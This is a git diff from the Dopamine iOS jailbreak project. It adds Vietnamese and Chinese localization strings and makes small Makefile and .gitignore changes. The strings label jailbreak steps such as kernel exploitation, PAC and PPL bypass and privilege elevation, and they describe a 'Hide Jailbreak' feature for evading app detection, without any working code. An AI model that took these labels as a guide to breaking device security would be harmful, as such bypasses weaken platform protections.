+"Update_Status_Subtitle_Restart_Soon" = "Thiết bị sẽ khởi động lại"; +"Title_Changelog" = "Nội dung cập nhật"; +"Changelog_Unavailable_Text" = "Không có nội dung cập nhật"; + +// Removed Jailbreak Alert +"Removed_Jailbreak_Alert_Title" = "Đã gỡ Jailbreak"; +"Removed_Jailbreak_Alert_Message" = "Gỡ bỏ Jailbreak thành công. Bạn nên khởi động lại thiết bị."; +"Button_Close" = "Đóng"; + +// Error View +"Button_Share" = "Chia sẻ lỗi"; +"Button_Reboot" = "Khởi động lại"; + +// Settings Options +"Settings_Tweak_Injection" = "Cho phép chạy Tweak"; +"Settings_iDownload" = "iDownload (nhà phát triển)"; +"Settings_Verbose_Logs" = "Hiện Log dạng phức tạp"; +"Settings_Apps_JIT" = "Bật JIT"; +"Settings_Allow_Old_arm64e_ABI_Libraries" = "Dùng thư viện arm64e cũ"; +"Settings_Jetsam_Multiplier" = "Hệ số Jetsam"; + +// Settings Buttons +"Button_Remove_Jailbreak" = "Gỡ Jailbreak"; +"Button_Hide_Jailbreak" = "Ẩn Jailbreak"; +"Button_Unhide_Jailbreak" = "Bỏ ẩn Jailbreak"; +"Button_Refresh_Jailbreak_Apps" = "Làm mới các app Jailbreak"; +"Button_Reinstall_Package_Managers" = "Cài lại các trình quản lý gói"; +"Button_Change_Mobile_Password" = "Đổi mật khẩu \"mobile\""; + +// Settings Hints +"Hint_Hide_Jailbreak" = "Tùy chọn \"Ẩn Jailbreak\" sẽ tạm thời xóa các tệp liên quan đến jailbreak và khôi phục lại các tệp này khi bạn jailbreak vào lần tới."; +"Hint_Hide_Jailbreak_Jailbroken" = "Tùy chọn \"Ẩn Jailbreak\" sẽ tắt một số chức năng nhằm tránh phát hiện jailbreak trong các ứng dụng. Tuy nhiên, tính năng này không phải là hoàn hảo và không thể hoàn toàn ẩn jailbreak khỏi mọi ứng dụng."; +"Section_Jailbreak_Settings" = "Thiết đặt Jailbreak"; +"Section_Actions" = "Tác vụ"; +"Section_Customization" = "Tùy biến"; +"Section_Exploits" = "Khai thác"; +"Jetsam_Description" = "Jetsam là tính năng hệ thống nhằm dừng các tiến trình vượt ngưỡng bộ nhớ đã định. Khi có nhiều tweak được cài đặt, các tiến trình có thể vượt ngưỡng này ngay khi khởi động, gây ra tình trạng treo. Ở mục này, bạn có thể chọn một hệ số nhất định, số này sẽ được nhân với ngưỡng bộ nhớ riêng của từng tiến trình. Tăng hệ số nếu thiết bị gặp tình trạng văng/treo, hoặc xảy ra lỗi vặt khi có nhiều tweak được cài đặt. Để tránh ảnh hưởng đến hiệu năng, bạn nên chọn hệ số thấp nhất sao cho thiết bị vẫn chạy ổn định."; + +// Settings Alerts +"Alert_Tweak_Injection_Toggled_Title" = "Khởi động lại Userspace"; +"Alert_Tweak_Injection_Toggled_Body" = "Cần khởi động lại Userspace để áp dụng các thay đổi. Bạn muốn khởi động lại ngay bây giờ hay để sau?"; +"Alert_Tweak_Injection_Toggled_Reboot_Now" = "Khởi động lại ngay"; +"Alert_Tweak_Injection_Toggled_Reboot_Later" = "Để sau"; +"Alert_Remove_Jailbreak_Title" = "Gỡ bỏ Jailbreak"; +"Alert_Remove_Jailbreak_Pressed_Body" = "Việc này sẽ xóa toàn bộ các tệp liên quan đến jailbreak. Các ứng dụng, tệp và dữ liệu thông thường sẽ vẫn được giữ nguyên. Bạn sẽ không thể hoàn tác sau khi nhấn \"Tiếp tục\"."; +"Alert_Remove_Jailbreak_Enabled_Body" = "Tùy chọn này sẽ xóa toàn bộ các tệp liên quan đến jailbreak khi bạn thực hiện jailbreak vào lần tới. Các ứng dụng, tệp và dữ liệu thông thường sẽ vẫn được giữ nguyên. Bạn sẽ không thể hoàn tác sau khi nhấn \"Tiếp tục\"."; +"Alert_Change_Mobile_Password_Body" = "Thiết đặt mật khẩu của người dùng \"mobile\", có thể sử dụng để lấy quyền root thông qua sudo. Nếu muốn đặt mật khẩu root, bạn có thể thực hiện bằng lệnh \"sudo passwd root\" trong terminal."; +"Password_Placeholder" = "Nhập mật khẩu"; +"Repeat_Password_Placeholder" = "Nhập lại mật khẩu"; +"Password_Auth_Required" = "Bạn cần phải xác thực để đổi mật khẩu mobile."; +"Button_Change" = "Đổi"; +"Button_Cancel" = "Hủy bỏ"; +"Button_Continue" = "Tiếp tục"; + +// Duplicate Apps Errors +"Duplicate_Apps_Error_Dopamine_App" = "Có nhiều ứng dụng với cùng một tên định danh \"%@\" được cài đặt trong thư mục ứng dụng của Dopamine (\"%@\"). Không thể tiếp tục."; +"Duplicate_Apps_Error_User_App" = "Ứng dụng có tên định danh \"%@\" đã được cài đặt trong thư mục ứng dụng của Dopamine (\"%@\"), nhưng đồng thời cũng đã được cài đặt trên hệ thống. Không thể tiếp tục."; +"Duplicate_Apps_Error_Icon_Cache" = "Ứng dụng có tên định danh \"%@\" đã được cài đặt trong thư mục ứng dụng của Dopamine (\"%@\"), nhưng lại được ghi bên trong icon cache với một đường dẫn khác (\"%@\"). Không thể tiếp tục."; + +// Settings Lists +"Theme" = "Chủ đề"; +"Kernel Exploit" = "Lỗ hổng Kernel"; +"PPL Bypass" = "Lỗ hổng PPL"; +"PAC Bypass" = "Lỗ hổng PAC"; +"None" = "Không có"; +"Recommended" = "Đề xuất"; + +// Credits +"Credits_Button_Discord" = "Discord"; +"Credits_Button_License" = "Giấy phép"; +"Credits_Button_Source_Code" = "Mã nguồn"; + +// Logs +"Initializing Environment" = "Khởi tạo môi trường Jailbreak"; +"Initializing Protection" = "Khởi tạo quy trình bảo vệ"; +"Loading BaseBin TrustCache" = "Đang tải TrustCache BaseBin"; +"Applying Bind Mount" = "Đang gắn Bind Mount"; +"Removing Jailbreak" = "Đang gỡ bỏ Jailbreak"; +"Elevating Privileges" = "Đang thực hiện nâng quyền"; +"Cleaning Up Exploits" = "Đang dọn dẹp khai thác"; +"Building Phys R/W Primitive" = "Đang dựng Phys R/W Primitive"; +"Rebooting Userspace" = "Đang kh.động lại Userspace"; +"Patchfinding" = "Đang chạy Patchfinding"; +"Exploiting Kernel (%@)" = "Kh.thác lỗ hổng Kernel (%@)"; +"Bypassing PAC (%@)" = "Kh.thác lỗ hổng PAC (%@)"; +"Bypassing PPL (%@)" = "Kh.thác lỗ hổng PPL (%@)"; + +// Package Manager selection +"Status_Title_Select_Package_Managers" = "Chọn trình quản lý gói"; +"Select_Package_Managers_Install_Message" = "Nếu bạn không biết nên nhấn vào lựa chọn nào, hãy chọn Sileo (sẽ không bao giờ có Cydia cho bạn chọn)"; +"Continue" = "Tiếp tục"; diff --git a/Application/Dopamine/zh-CN.lproj/Localizable.strings b/Application/Dopamine/zh-CN.lproj/Localizable.strings new file mode 100644 index 0000000000..4f037d32a0 --- /dev/null +++ b/Application/Dopamine/zh-CN.lproj/Localizable.strings @@ -0,0 +1,116 @@ +"Credits_Made_By" = "作者:opa334, évelyne (ElleKit)"; + +// Log +"Status_Title_Jailbreaking" = "正在越狱"; +"Log_Error" = "发生错误"; + +// Jailbreak Button +"Button_Jailbreak_Title" = "越狱"; +"Status_Title_Jailbroken" = "已越狱"; +"Unsupported" = "不支持"; + +// Action Menu +"Menu_Settings_Title" = "设置"; +"Menu_Restart_SpringBoard_Title" = "重启 SpringBoard"; +"Menu_Reboot_Userspace_Title" = "重启用户空间"; +"Menu_Credits_Title" = "关于"; + +// Updating +"Button_Update" = "更新"; +"Button_Update_Available" = "有更新可用"; +"Button_Update_Environment" = "更新环境"; + +// Update View +"Update_Status_Downloading" = "正在下载更新..."; +"Update_Status_Subtitle_Please_Wait" = "请等待文件下载完成"; +"Update_Status_Installing" = "正在安装更新..."; +"Update_Status_Subtitle_Restart_Soon" = "设备即将重启"; +"Title_Changelog" = "更新日志"; +"Changelog_Unavailable_Text" = "更新日志不可用"; + +// Removed Jailbreak Alert +"Removed_Jailbreak_Alert_Title" = "移除越狱"; +"Removed_Jailbreak_Alert_Message" = "已成功移除越狱,建议重启设备。"; +"Button_Close" = "关闭"; + +// Error View +"Button_Share" = "分享"; +"Button_Reboot" = "重启"; + +// Settings Options +"Settings_Tweak_Injection" = "插件注入"; +"Settings_iDownload" = "iDownload (开发者终端)"; +"Settings_Verbose_Logs" = "详细日志"; +"Settings_Apps_JIT" = "允许 App 使用 JIT"; +"Settings_Jetsam_Multiplier" = "Jetsam 倍数"; + +// Settings Buttons +"Button_Remove_Jailbreak" = "移除越狱"; +"Button_Hide_Jailbreak" = "隐藏越狱"; +"Button_Unhide_Jailbreak" = "取消隐藏越狱"; +"Button_Refresh_Jailbreak_Apps" = "刷新越狱 App"; +"Button_Reinstall_Package_Managers" = "重新安装包管理器"; +"Button_Change_Mobile_Password" = "修改 “mobile” 密码"; + +// Settings Hints +"Hint_Hide_Jailbreak" = "“隐藏越狱” 将在下次越狱前移除部分可能导致越狱检测的文件。"; +"Hint_Hide_Jailbreak_Jailbroken" = "“隐藏越狱” 将禁用部分越狱功能以提升检测越狱的难度,不过这并不能完全防止应用检测到越狱。"; +"Section_Jailbreak_Settings" = "越狱设置"; +"Section_Actions" = "操作"; +"Section_Customization" = "自定义"; +"Section_Exploits" = "漏洞利用"; +"Jetsam_Description" = "Jetsam 是一个系统守护进程,它会自动终止超过指定内存限制的进程。当安装了大量插件后,某些进程可能在启动时或启动后没多久内存使用超出限制,被 Jetsam 终止,导致进程循环崩溃。你可以选择一个倍数来扩大所有带内存限制进程的限制。如果你的系统在安装了大量插件之后出现频繁崩溃或者各种异常行为,请适当地增加这个倍数。但为了不对系统内存使用产生负面影响,建议选择能够使系统稳定运行的最低倍数。"; + +// Settings Alerts +"Alert_Tweak_Injection_Toggled_Title" = "需要重启用户空间"; +"Alert_Tweak_Injection_Toggled_Body" = "需要重启用户空间才能应用更改,是否现在重启?"; +"Alert_Tweak_Injection_Toggled_Reboot_Now" = "立即重启"; +"Alert_Tweak_Injection_Toggled_Reboot_Later" = "稍后重启"; +"Alert_Remove_Jailbreak_Title" = "移除越狱"; +"Alert_Remove_Jailbreak_Pressed_Body" = "“移除越狱” 将移除所有和越狱相关的文件,而常规的 App、文档及数据不会受到任何影响。请注意,此操作无法撤销。确认要移除越狱吗?"; +"Alert_Remove_Jailbreak_Enabled_Body" = "“移除越狱” 将在下次越狱时移除所有和越狱相关的文件,而常规的 App、文档及数据不会受到任何影响。请注意,此操作无法撤销。确认要移除越狱吗?"; +"Alert_Change_Mobile_Password_Body" = "这将会在你的设备上修改 “mobile” 密码,此密码可用于使用 sudo 命令。如需设置 “root” 密码,请在 shell 中使用命令 “sudo passwd root”。"; +"Password_Placeholder" = "密码"; +"Repeat_Password_Placeholder" = "重复密码"; +/*Password_Auth_Required*/ +"Button_Change" = "修改"; +"Button_Cancel" = "取消"; +"Button_Continue" = "继续"; + +// Duplicate Apps Errors +"Duplicate_Apps_Error_Dopamine_App" = "检测到多个标识符为 \"%@\" 的 App 在 Dopamine 的 App 目录中 (\"%@\"),无法继续。"; +"Duplicate_Apps_Error_User_App" = "检测到标识符为 \"%@\" 的 App 存在 Dopamine 的 App 目录中 (\"%@\") ,但其已被单独安装在系统上,无法继续。"; +"Duplicate_Apps_Error_Icon_Cache" = "检测到标识符为 \"%@\" 的 App 存在于 Dopamine 的 App 目录中 (\"%@\"),但其已在不同路径 (\"%@\") 下注册了图标缓存,无法继续。"; + +// Settings Lists +"Theme" = "主题"; +"Kernel Exploit" = "内核漏洞"; +"PPL Bypass" = "PPL 绕过"; +"PAC Bypass" = "PAC 绕过"; +"None" = "无"; +"Recommended" = "推荐"; + +// Credits +"Credits_Button_Discord" = "Discord"; +"Credits_Button_License" = "许可证"; +"Credits_Button_Source_Code" = "源代码"; + +// Logs +"Initializing Environment" = "初始化环境"; +"Initializing Protection" = "初始化保护"; +"Loading BaseBin TrustCache" = "将基础套件加载至信任缓存(TrustCache)"; +"Applying Bind Mount" = "应用绑定挂载"; +"Removing Jailbreak" = "移除越狱"; +"Elevating Privileges" = "提升权限"; +"Cleaning Up Exploits" = "清理环境"; +"Building Phys R/W Primitive" = "构建硬件读写条件"; +"Rebooting Userspace" = "重启用户空间"; +"Patchfinding" = "查找地址"; +"Exploiting Kernel (%@)" = "正在利用内核 (%@)"; +"Bypassing PAC (%@)" = "正在绕过 PAC (%@)"; +"Bypassing PPL (%@)" = "正在绕过 PPL (%@)"; + +// Package Manager selection +"Status_Title_Select_Package_Managers" = "请选择包管理器"; +"Select_Package_Managers_Install_Message" = "如果你不确定选择哪一个比较好,请选择 Sileo"; +"Continue" = "继续"; diff --git a/Application/Dopamine/zh-HK.lproj/Localizable.strings b/Application/Dopamine/zh-HK.lproj/Localizable.strings new file mode 100644 index 0000000000..fb05744f2f --- /dev/null +++ b/Application/Dopamine/zh-HK.lproj/Localizable.strings @@ -0,0 +1,115 @@ +"Credits_Made_By" = "作者:opa334, évelyne"; + +// Log +"Status_Title_Jailbreaking" = "正在越獄"; +"Log_Error" = "失敗"; + +// Jailbreak Button +"Button_Jailbreak_Title" = "越獄"; +"Status_Title_Jailbroken" = "已越獄"; +/*Unsupported*/ + +// Action Menu +"Menu_Settings_Title" = "設置"; +"Menu_Restart_SpringBoard_Title" = "註銷"; +"Menu_Reboot_Userspace_Title" = "用戶空間重啟"; +"Menu_Credits_Title" = "關於"; + +// Updating +"Button_Update" = "更新"; +"Button_Update_Available" = "可更新"; +"Button_Update_Environment" = "更新環境"; + +// Update View +"Update_Status_Downloading" = "正在下載更新…"; +"Update_Status_Subtitle_Please_Wait" = "請等待完成下載"; +"Update_Status_Installing" = "正在安裝更新…"; +"Update_Status_Subtitle_Restart_Soon" = "裝置即將重新啟動"; +"Title_Changelog" = "變更日誌"; +"Changelog_Unavailable_Text" = "變更日誌不可用"; + +// Removed Jailbreak Alert +/*Removed_Jailbreak_Alert_Title*/ +/*Removed_Jailbreak_Alert_Message*/ +/*Button_Close*/ + +// Error View +/*Button_Share*/ +/*Button_Reboot*/ + +// Settings Toggles +"Settings_Tweak_Injection" = "插件注入"; +"Settings_iDownload" = "iDownload (开发商终端)"; +"Settings_Verbose_Logs" = "詳細日誌"; +/*Settings_Apps_JIT*/ + +// Settings Buttons +"Button_Remove_Jailbreak" = "清除越獄"; +"Button_Hide_Jailbreak" = "隱藏越獄"; +"Button_Unhide_Jailbreak" = "解除隱藏越獄"; +/*Button_Refresh_Jailbreak_Apps*/ +"Button_Reinstall_Package_Managers" = "重新安裝包管理器(越獄商店)"; +/*Button_Change_Mobile_Password*/ + +// Settings Hints +"Hint_Hide_Jailbreak" = "「隱藏越獄」將在下次越獄前臨時移除越獄相關的文件"; +"Hint_Hide_Jailbreak_Jailbroken" = "已越獄時,「隱藏越獄」將部分禁用越獄功能以增加探測越獄的難度。但是,這並非總是有效,也沒有隱藏所有東西。"; +/*Section_Jailbreak_Settings*/ +/*Section_Actions*/ +/*Section_Customization*/ +/*Section_Exploits*/ + +// Settings Alerts +/*Alert_Tweak_Injection_Toggled_Title*/ +"Alert_Tweak_Injection_Toggled_Body" = "為使變更生效需用戶空間重啟,即可執行否?"; +/*Alert_Tweak_Injection_Toggled_Reboot_Now*/ +/*Alert_Tweak_Injection_Toggled_Reboot_Later*/ +"Alert_Remove_Jailbreak_Title" = "清除越獄"; +"Alert_Remove_Jailbreak_Pressed_Body" = "清除越獄將移除所有和越獄相關的文件,但將保留普通 App、文件、數據。請注意,此操作無法撤銷。確認清除越獄嗎?"; +/*Alert_Remove_Jailbreak_Enabled_Body*/ +/*Alert_Change_Mobile_Password_Body*/ +/*Password_Placeholder*/ +/*Repeat_Password_Placeholder*/ +/*Password_Auth_Required*/ +/*Button_Change*/ +"Button_Cancel" = "取消"; +/*Button_Continue*/ + +// Duplicate Apps Errors +/*Duplicate_Apps_Error_Dopamine_App*/ +/*Duplicate_Apps_Error_User_App*/ +/*Duplicate_Apps_Error_Icon_Cache*/ + +// Settings Lists +/*Theme*/ +/*Kernel Exploit*/ +/*PPL Bypass*/ +/*PAC Bypass*/ +/*None*/ +/*Recommended*/ + +// Credits +"Credits_Button_Discord" = "Discord"; +"Credits_Button_License" = "許可證"; +"Credits_Button_Source_Code" = "原始碼"; + +// Logs +"Initializing Environment" = "初始化環境"; +/*Initializing Protection*/ +/*Loading BaseBin TrustCache*/ +/*Applying Bind Mount*/ +/*Removing Jailbreak*/ +/*Elevating Privileges*/ +/*Cleaning Up Exploits*/ +/*Building Phys R/W Primitive*/ +/*Rebooting Userspace*/ +"Patchfinding" = "Patchfinding"; +/*Exploiting Kernel (%@)*/ +/*Bypassing PAC (%@)*/ +/*Bypassing PPL (%@)*/ + +// Package Manager selection +"Status_Title_Select_Package_Managers" = "選定包管理器(越獄商店)"; +"Select_Package_Managers_Install_Message" = "若不確定如何選擇,請使用 Sileo"; +"Continue" = "繼續"; + diff --git a/Application/Dopamine/zh-Hans.lproj/Localizable.strings b/Application/Dopamine/zh-Hans.lproj/Localizable.strings new file mode 100644 index 0000000000..4f037d32a0 --- /dev/null +++ b/Application/Dopamine/zh-Hans.lproj/Localizable.strings @@ -0,0 +1,116 @@ +"Credits_Made_By" = "作者:opa334, évelyne (ElleKit)"; + +// Log +"Status_Title_Jailbreaking" = "正在越狱"; +"Log_Error" = "发生错误"; + +// Jailbreak Button +"Button_Jailbreak_Title" = "越狱"; +"Status_Title_Jailbroken" = "已越狱"; +"Unsupported" = "不支持"; + +// Action Menu +"Menu_Settings_Title" = "设置"; +"Menu_Restart_SpringBoard_Title" = "重启 SpringBoard"; +"Menu_Reboot_Userspace_Title" = "重启用户空间"; +"Menu_Credits_Title" = "关于"; + +// Updating +"Button_Update" = "更新"; +"Button_Update_Available" = "有更新可用"; +"Button_Update_Environment" = "更新环境"; + +// Update View +"Update_Status_Downloading" = "正在下载更新..."; +"Update_Status_Subtitle_Please_Wait" = "请等待文件下载完成"; +"Update_Status_Installing" = "正在安装更新..."; +"Update_Status_Subtitle_Restart_Soon" = "设备即将重启"; +"Title_Changelog" = "更新日志"; +"Changelog_Unavailable_Text" = "更新日志不可用"; + +// Removed Jailbreak Alert +"Removed_Jailbreak_Alert_Title" = "移除越狱"; +"Removed_Jailbreak_Alert_Message" = "已成功移除越狱,建议重启设备。"; +"Button_Close" = "关闭"; + +// Error View +"Button_Share" = "分享"; +"Button_Reboot" = "重启"; + +// Settings Options +"Settings_Tweak_Injection" = "插件注入"; +"Settings_iDownload" = "iDownload (开发者终端)"; +"Settings_Verbose_Logs" = "详细日志"; +"Settings_Apps_JIT" = "允许 App 使用 JIT"; +"Settings_Jetsam_Multiplier" = "Jetsam 倍数"; + +// Settings Buttons +"Button_Remove_Jailbreak" = "移除越狱"; +"Button_Hide_Jailbreak" = "隐藏越狱"; +"Button_Unhide_Jailbreak" = "取消隐藏越狱"; +"Button_Refresh_Jailbreak_Apps" = "刷新越狱 App"; +"Button_Reinstall_Package_Managers" = "重新安装包管理器"; +"Button_Change_Mobile_Password" = "修改 “mobile” 密码"; + +// Settings Hints +"Hint_Hide_Jailbreak" = "“隐藏越狱” 将在下次越狱前移除部分可能导致越狱检测的文件。"; +"Hint_Hide_Jailbreak_Jailbroken" = "“隐藏越狱” 将禁用部分越狱功能以提升检测越狱的难度,不过这并不能完全防止应用检测到越狱。"; +"Section_Jailbreak_Settings" = "越狱设置"; +"Section_Actions" = "操作"; +"Section_Customization" = "自定义"; +"Section_Exploits" = "漏洞利用"; +"Jetsam_Description" = "Jetsam 是一个系统守护进程,它会自动终止超过指定内存限制的进程。当安装了大量插件后,某些进程可能在启动时或启动后没多久内存使用超出限制,被 Jetsam 终止,导致进程循环崩溃。你可以选择一个倍数来扩大所有带内存限制进程的限制。如果你的系统在安装了大量插件之后出现频繁崩溃或者各种异常行为,请适当地增加这个倍数。但为了不对系统内存使用产生负面影响,建议选择能够使系统稳定运行的最低倍数。"; + +// Settings Alerts +"Alert_Tweak_Injection_Toggled_Title" = "需要重启用户空间"; +"Alert_Tweak_Injection_Toggled_Body" = "需要重启用户空间才能应用更改,是否现在重启?"; +"Alert_Tweak_Injection_Toggled_Reboot_Now" = "立即重启"; +"Alert_Tweak_Injection_Toggled_Reboot_Later" = "稍后重启"; +"Alert_Remove_Jailbreak_Title" = "移除越狱"; +"Alert_Remove_Jailbreak_Pressed_Body" = "“移除越狱” 将移除所有和越狱相关的文件,而常规的 App、文档及数据不会受到任何影响。请注意,此操作无法撤销。确认要移除越狱吗?"; +"Alert_Remove_Jailbreak_Enabled_Body" = "“移除越狱” 将在下次越狱时移除所有和越狱相关的文件,而常规的 App、文档及数据不会受到任何影响。请注意,此操作无法撤销。确认要移除越狱吗?"; +"Alert_Change_Mobile_Password_Body" = "这将会在你的设备上修改 “mobile” 密码,此密码可用于使用 sudo 命令。如需设置 “root” 密码,请在 shell 中使用命令 “sudo passwd root”。"; +"Password_Placeholder" = "密码"; +"Repeat_Password_Placeholder" = "重复密码"; +/*Password_Auth_Required*/ +"Button_Change" = "修改"; +"Button_Cancel" = "取消"; +"Button_Continue" = "继续"; + +// Duplicate Apps Errors +"Duplicate_Apps_Error_Dopamine_App" = "检测到多个标识符为 \"%@\" 的 App 在 Dopamine 的 App 目录中 (\"%@\"),无法继续。"; +"Duplicate_Apps_Error_User_App" = "检测到标识符为 \"%@\" 的 App 存在 Dopamine 的 App 目录中 (\"%@\") ,但其已被单独安装在系统上,无法继续。"; +"Duplicate_Apps_Error_Icon_Cache" = "检测到标识符为 \"%@\" 的 App 存在于 Dopamine 的 App 目录中 (\"%@\"),但其已在不同路径 (\"%@\") 下注册了图标缓存,无法继续。"; + +// Settings Lists +"Theme" = "主题"; +"Kernel Exploit" = "内核漏洞"; +"PPL Bypass" = "PPL 绕过"; +"PAC Bypass" = "PAC 绕过"; +"None" = "无"; +"Recommended" = "推荐"; + +// Credits +"Credits_Button_Discord" = "Discord"; +"Credits_Button_License" = "许可证"; +"Credits_Button_Source_Code" = "源代码"; + +// Logs +"Initializing Environment" = "初始化环境"; +"Initializing Protection" = "初始化保护"; +"Loading BaseBin TrustCache" = "将基础套件加载至信任缓存(TrustCache)"; +"Applying Bind Mount" = "应用绑定挂载"; +"Removing Jailbreak" = "移除越狱"; +"Elevating Privileges" = "提升权限"; +"Cleaning Up Exploits" = "清理环境"; +"Building Phys R/W Primitive" = "构建硬件读写条件"; +"Rebooting Userspace" = "重启用户空间"; +"Patchfinding" = "查找地址"; +"Exploiting Kernel (%@)" = "正在利用内核 (%@)"; +"Bypassing PAC (%@)" = "正在绕过 PAC (%@)"; +"Bypassing PPL (%@)" = "正在绕过 PPL (%@)"; + +// Package Manager selection +"Status_Title_Select_Package_Managers" = "请选择包管理器"; +"Select_Package_Managers_Install_Message" = "如果你不确定选择哪一个比较好,请选择 Sileo"; +"Continue" = "继续"; diff --git a/Application/Dopamine/zh-TW.lproj/Localizable.strings b/Application/Dopamine/zh-TW.lproj/Localizable.strings new file mode 100644 index 0000000000..b213906d96 --- /dev/null +++ b/Application/Dopamine/zh-TW.lproj/Localizable.strings @@ -0,0 +1,117 @@ +"Credits_Made_By" = "由opa334開發,ElleKit 由 évelyne 開發"; + +// Log +"Status_Title_Jailbreaking" = "正在越獄"; +"Log_Error" = "錯誤"; + +// Jailbreak Button +"Button_Jailbreak_Title" = "越獄"; +"Status_Title_Jailbroken" = "已越獄"; +"Unsupported" = "不支援"; + +// Action Menu +"Menu_Settings_Title" = "設定"; +"Menu_Restart_SpringBoard_Title" = "重新啟動主畫面"; +"Menu_Reboot_Userspace_Title" = "重新啟動使用者空間"; +"Menu_Credits_Title" = "致謝"; + +// Updating +"Button_Update" = "更新"; +"Button_Update_Available" = "可用更新"; +"Button_Update_Environment" = "環境更新"; + +// Update View +"Update_Status_Downloading" = "正在下載更新……"; +"Update_Status_Subtitle_Please_Wait" = "請等待檔案下載完畢"; +"Update_Status_Installing" = "正在安裝更新……"; +"Update_Status_Subtitle_Restart_Soon" = "裝置即將重新啟動"; +"Title_Changelog" = "版本日誌"; +"Changelog_Unavailable_Text" = "無法存取版本日誌"; + +// Removed Jailbreak Alert +"Removed_Jailbreak_Alert_Title" = "移除越獄"; +"Removed_Jailbreak_Alert_Message" = "移除越獄成功。 建議將設備重開機。"; +"Button_Close" = "關閉"; + +// Error View +"Button_Share" = "分享"; +"Button_Reboot" = "重新開機"; + +// Settings Toggles +"Settings_Tweak_Injection" = "載入外掛"; +"Settings_iDownload" = "iDownload(開發者終端)"; +"Settings_Verbose_Logs" = "詳細日誌"; +"Settings_Apps_JIT" = "於應用程式中啟用 JIT"; + +// Settings Buttons +"Button_Remove_Jailbreak" = "移除越獄"; +"Button_Hide_Jailbreak" = "隱藏越獄"; +"Button_Unhide_Jailbreak" = "顯示越獄"; +"Button_Refresh_Jailbreak_Apps" = "重新整理越獄應用程式"; +"Button_Reinstall_Package_Managers" = "重新安裝套件管理器"; +"Button_Change_Mobile_Password" = "更改「mobile」密碼"; + +// Settings Hints +"Hint_Hide_Jailbreak" = "\"隱藏越獄\"將在下次越獄時暫時移除越獄檔案"; +"Hint_Hide_Jailbreak_Jailbroken" = "在越獄狀態下,\"隱藏越獄\" 選項會停用部分越獄功能來躲避越獄偵測。但不保證一定能成功躲避偵測。"; +"Section_Jailbreak_Settings" = "越獄設定"; +"Section_Actions" = "動作"; +"Section_Customization" = "客製化"; +"Section_Exploits" = "選擇漏洞"; + +// Settings Alerts +"Alert_Tweak_Injection_Toggled_Title" = "需要重新啟動使用者空間"; +"Alert_Tweak_Injection_Toggled_Body" = "必需重新啟動使用者空間才能套用更變。 要現在進行嗎?"; +"Alert_Tweak_Injection_Toggled_Reboot_Now" = "現在重新啟動"; +"Alert_Tweak_Injection_Toggled_Reboot_Later" = "稍後重新啟動"; +"Alert_Remove_Jailbreak_Title" = "移除越獄"; +"Alert_Remove_Jailbreak_Pressed_Body" = +"移除越獄將移除所有和越獄相關的檔案,但將保留非越獄相關應用程式、檔案,與資料。請注意,移除的檔案無法復原。是否移除越獄?"; +"Alert_Remove_Jailbreak_Enabled_Body" = +"啟用「移除越獄」將於下次越獄刪除所有與越獄相關的所有檔案,不過所有其他非越獄相關應用程式、檔案,與資料將被保留。移除的檔案無法復原,是否移除越獄?"; +"Alert_Change_Mobile_Password_Body" = "於此裝置中設定「mobile」使用者的密碼。此密碼亦可與 sudo +搭配取得根權限。若您想設定「root」使用者密碼可於 mobile 終端中輸入「sudo passwd root」"; +"Password_Placeholder" = "密碼"; +"Repeat_Password_Placeholder" = "重複密碼"; +"Password_Auth_Required" = "在更改密碼前需要授權。"; +"Button_Change" = "更改"; +"Button_Cancel" = "取消"; +"Button_Continue" = "繼續"; + +// Duplicate Apps Errors +"Duplicate_Apps_Error_Dopamine_App" = "Dopamines 應用程式目錄 (\"%@\") 內有多個識別碼為 \"%@\" 的應用程式。無法繼續。"; +"Duplicate_Apps_Error_User_App" = "標識碼為 %@ 的應用程式存在於 Dopamines 應用程式目錄 (\"%@\") 中,但也單獨安裝在系統上。無法繼續。"; +"Duplicate_Apps_Error_Icon_Cache" = "標識碼為 \"%@\" 的應用程式存在於 Dopamine 應用程式目錄 (\"%@\") 中,但也在不同路徑 (\"%@\") 下的圖示快取中註冊。無法繼續。"; + +// Settings Lists +"Theme" = "主題"; +"Kernel Exploit" = "核心漏洞"; +"PPL Bypass" = "繞過 PPL"; +"PAC Bypass" = "繞過 PAC"; +"None" = "無"; +"Recommended" = "建議"; + +// Credits +"Credits_Button_Discord" = "Discord"; +"Credits_Button_License" = "授權條款"; +"Credits_Button_Source_Code" = "原始碼"; + +// Logs +"Initializing Environment" = "正在初始化環境"; +"Initializing Protection" = "正在初始話保護"; +"Loading BaseBin TrustCache" = "正在載入 BaseBin TrustCache"; +"Applying Bind Mount" = "正在套用 Bind Mount"; +"Removing Jailbreak" = "正在移除越獄"; +"Elevating Privileges" = "正在提升權限"; +"Cleaning Up Exploits" = "正在為利用漏洞善後"; +"Building Phys R/W Primitive" = "正在建立 Phys R/W Primitive"; +"Rebooting Userspace" = "正在重新啟動使用者空間"; +"Patchfinding" = "正在尋找修正檔"; +"Exploiting Kernel (%@)" = "正在利用核心漏洞 (%@)"; +"Bypassing PAC (%@)" = "正在繞過 PAC 防護 (%@)"; +"Bypassing PPL (%@)" = "正在繞過 PPL 防護 (%@)"; + +// Package Manager selection +"Status_Title_Select_Package_Managers" = "選擇套件管理器"; +"Select_Package_Managers_Install_Message" = "請於不確定時選擇 Sileo"; +"Continue" = "繼續"; diff --git a/Application/Makefile b/Application/Makefile index 3dee93b06f..f11b636c58 100644 --- a/Application/Makefile +++ b/Application/Makefile @@ -15,8 +15,13 @@ Dopamine.ipa: build/Build/Products/Debug-iphoneos/Dopamine.app rm -rf Dopamine.tipa cp Dopamine.ipa Dopamine.tipa +ifeq ($(NIGHTLY), 1) +build/Build/Products/Debug-iphoneos/Dopamine.app: FORCE + xcodebuild -scheme Dopamine -derivedDataPath build -destination 'generic/platform=iOS' CODE_SIGN_IDENTITY="" CODE_SIGNING_REQUIRED=NO GCC_PREPROCESSOR_DEFINITIONS='NIGHTLY=1 COMMIT_HASH=\"$(COMMIT_HASH)\"' +else build/Build/Products/Debug-iphoneos/Dopamine.app: FORCE xcodebuild -scheme Dopamine -derivedDataPath build -destination 'generic/platform=iOS' CODE_SIGN_IDENTITY="" CODE_SIGNING_REQUIRED=NO +endif clean: rm -rf build Payload Dopamine.ipa Dopamine.tipa diff --git a/BaseBin/.gitignore b/BaseBin/.gitignore index 6aa9a0875a..04587c9b0d 100644 --- a/BaseBin/.gitignore +++ b/BaseBin/.gitignore @@ -6,6 +6,7 @@ basebin.tc libjailbreak/libjailbreak.dylib libjailbreak/libjailbreak.dylib.dSYM launchdhook/launchdhook.dylib +dyldhook/dyldhook_merge.*.dylib systemhook/systemhook.dylib 